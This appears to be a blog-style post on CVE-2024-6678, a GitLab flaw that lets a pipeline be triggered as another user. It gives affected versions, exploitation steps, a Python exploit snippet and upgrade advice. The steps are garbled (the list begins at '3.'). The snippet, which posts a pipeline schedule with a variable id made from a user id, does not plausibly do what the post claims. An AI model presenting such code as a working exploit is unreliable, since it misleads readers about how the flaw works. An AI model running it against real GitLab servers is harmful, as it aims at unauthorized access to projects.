A recently discovered security vulnerability, identified as CVE-2024-6678, affects GitLab Community Edition (CE) and Enterprise Edition (EE). This vulnerability is present in GitLab versions starting from 8.14 prior to 17.1.7, starting from 17.2 prior to 17.2.5, and starting from 17.3 prior to 17.3.2. This vulnerability allows an attacker to trigger a pipeline as an arbitrary user under certain circumstances, potentially leading to unauthorized access to sensitive information and privileges.

In this post, we'll discuss the details of the vulnerability, a code snippet demonstrating the exploit, and provide references to the original sources of information regarding the vulnerability. We'll also provide steps to mitigate the risk associated with this vulnerability.

Vulnerability Details

According to the official GitLab security advisory, this vulnerability exists due to improper access control mechanisms within GitLab. The vulnerability allows an attacker to create a pipeline under the identity of an arbitrary GitLab user, who may or may not have the necessary permissions to initiate said pipeline.

Craft a malicious request that triggers the pipeline, including the target user's information.

3. Send the request to the GitLab server, which succesfully initiates the pipeline under the targeted user's identity.

Code Snippet Demonstrating the Exploit

Let's take a look at a sample code snippet that demonstrates how this vulnerability could be exploited:

import requests

# Define the target GitLab instance, user account, and authentication details
target_gitlab_url = "https://your-gitlab-instance.com";
target_user_id = "USER_ID"
api_token = "YOUR_API_TOKEN"

# Construct the malicious request
malicious_url = f"{target_gitlab_url}/api/v4/projects/PROJECT_ID/pipeline_schedules"
malicious_headers = {
    "Private-Token": api_token
}
malicious_payload = {
    "description": "Malicious Pipeline",
    "cron": "* * * * *",
    "cron_timezone": "UTC",
    "ref": "master",
    "variables_attributes": [
        {
            "key": "ATTACKER_CONTROLLED_VARIABLE",
            "variable_type": "env_var",
            "_destroy": "false",
            "id": f"gid://gitlab/Ci::Variable/{target_user_id}"
        }
    ]
}

# Send the malicious request
response = requests.post(malicious_url, headers=malicious_headers, json=malicious_payload)

# Check for successful exploit
if response.status_code == 201:
    print("Exploit successful!")
else:
    print("Exploit failed.")

In this example, an attacker would replace the target_gitlab_url, USER_ID, and YOUR_API_TOKEN placeholders with the actual GitLab instance URL, target user ID, and an appropriate API token (e.g., the attacker's own token).

Upon successfully executing the exploit, the attacker will have initiated a pipeline using the targeted user's identity, potentially gaining unauthorized access and control over the project's resources.

How to Mitigate the Risk

GitLab has already released patches to address this vulnerability. To mitigate the risk, it is crucial that you update your GitLab instance to one of the following versions: 17.1.7, 17.2.5, or 17.3.2. For more information on how to upgrade your GitLab instance, refer to the official GitLab update documentation.

Additionally, it is important to always follow security best practices, such as using strong and unique passwords for user accounts, enabling two-factor authentication, regularly reviewing and updating permission settings, and monitoring project activity for any suspicious behavior.

Conclusion

CVE-2024-6678 is a serious vulnerability that affects a wide range of GitLab CE/EE versions, allowing attackers to trigger pipelines as arbitrary users under certain conditions. By understanding the vulnerability, being aware of the exploit, and applying mitigation strategies, you can help protect your GitLab instance and user accounts from unauthorized access and potential harm.

Timeline

Published on: 09/12/2024 19:15:04 UTC
Last modified on: 09/12/2024 21:34:55 UTC